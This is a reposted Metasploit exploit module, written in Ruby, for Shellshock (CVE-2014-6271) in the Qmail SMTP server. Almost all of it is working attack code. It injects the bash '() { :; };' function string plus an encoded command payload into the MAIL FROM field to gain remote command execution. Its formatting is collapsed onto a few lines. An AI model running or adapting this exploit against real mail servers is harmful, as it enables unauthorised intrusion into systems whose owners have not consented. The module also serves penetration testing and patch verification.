Qmail SMTP Bash Environment Variable Injection (Shellshock)
Posted on 30 September 2017
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Smtp def initialize(info={}) super(update_info(info, 'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)', 'Description' => %q{ This module exploits a shellshock vulnerability on Qmail, a public domain MTA written in C that runs on Unix systems. Due to the lack of validation on the MAIL FROM field, it is possible to execute shell code on a system with a vulnerable BASH (Shellshock). This flaw works on the latest Qmail versions (qmail-1.03 and netqmail-1.06). However, in order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed. }, 'Author' => [ 'Mario Ledo (Metasploit module)', 'Gabriel Follon (Metasploit module)', 'Kyle George (Vulnerability discovery)' ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ ['CVE', '2014-6271'], ['CWE', '94'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'], ['URL', 'https://lists.gt.net/qmail/users/138578'] ], 'Payload' => { 'BadChars' => "x3e", 'Space' => 888, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet perl ruby python' # telnet ruby python and perl works only if installed on target } }, 'Targets' => [ [ 'Automatic', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014' )) deregister_options('MAILFROM') end def smtp_send(data = nil) begin result = '' code = 0 sock.put("#{data}") result = sock.get_once result.chomp! if (result) code = result[0..2].to_i if result return result, code rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError return result, 0 rescue ::Exception => e print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'") return nil, 0 end end def exploit to = datastore['MAILTO'] connect result = smtp_send("HELO localhost ") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end print_status('Sending the payload...') result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\/, '\\\\') + "> ") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end print_status("Sending RCPT TO #{to}") result = smtp_send("rcpt to:<#{to}> ") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end result = smtp_send("data ") if result[1] < 200 || result[1] > 354 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end result = smtp_send("data foo . ") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end disconnect end end